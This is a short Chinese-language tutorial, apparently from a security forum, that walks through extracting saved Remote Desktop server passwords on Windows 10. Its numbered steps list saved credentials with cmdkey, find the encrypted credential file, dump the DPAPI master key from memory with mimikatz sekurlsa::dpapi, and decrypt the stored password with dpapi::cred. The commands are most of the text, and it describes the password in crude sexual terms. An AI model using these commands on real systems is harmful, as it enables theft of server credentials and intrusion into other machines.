测试环境:windows 10
道友们应该碰到过管理在本地保存远程终端的凭据,凭据里躺着诱人的胴体(服务器密码),早已让我们的XX饥渴难耐了。
但是,胴体却裹了一身道袍(加密),待老衲操起法器将其宽衣解带。
0x01 凭据管理器中查看Windows凭据:
TERMSRV/1xx.xxx.xxx.xx2
可通过命令行获取,执行: cmdkey /list
注意:该命令务必在Session会话下执行,system下执行无结果。
0x02 凭据存储在用户目录下:
C:Users<username>AppDataLocalMicrosoftCredentials*
图中名为
"FF359429D6F19C64BA7D3E282558EEB5"的文件即为目标凭据:TERMSRV/1xx.xxx.xxx.xx2的存储文件
0x03 执行:
mimikatz "dpapi::cred /in:C:UsersxxAppDataLocalMicrosoftCredentialsFF359429D6F19C64BA7D3E282558EEB5"
pbData是凭据的加密数据,guidMasterKey是凭据的GUID: {d91b091a-ef25-4424-aa45-a2a56b47a699}。
0x04 执行:
mimikatz privilege::debug sekurlsa::dpapi
根据目标凭据GUID: {d91b091a-ef25-4424-aa45-a2a56b47a699}找到其关联的MasterKey,这个MasterKey就是加密凭据的密钥,即解密pbData所必须的东西。
0x05 拿到了MasterKey,服务器密码便唾手可得。执行解密命令:
mimikatz "dpapi::cred /in:C:UsersxxAppDataLocalMicrosoftCredentialsFF359429D6F19C64BA7D3E282558EEB5 /masterkey:28d1f3252c019f9cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx16dcec8e5dbf5cd0"
解密出来的CredentialBlob即为凭据TERMSRV/1xx.xxx.xxx.xx2的服务器密码。
文章来源于国内安全交流论坛土司-_-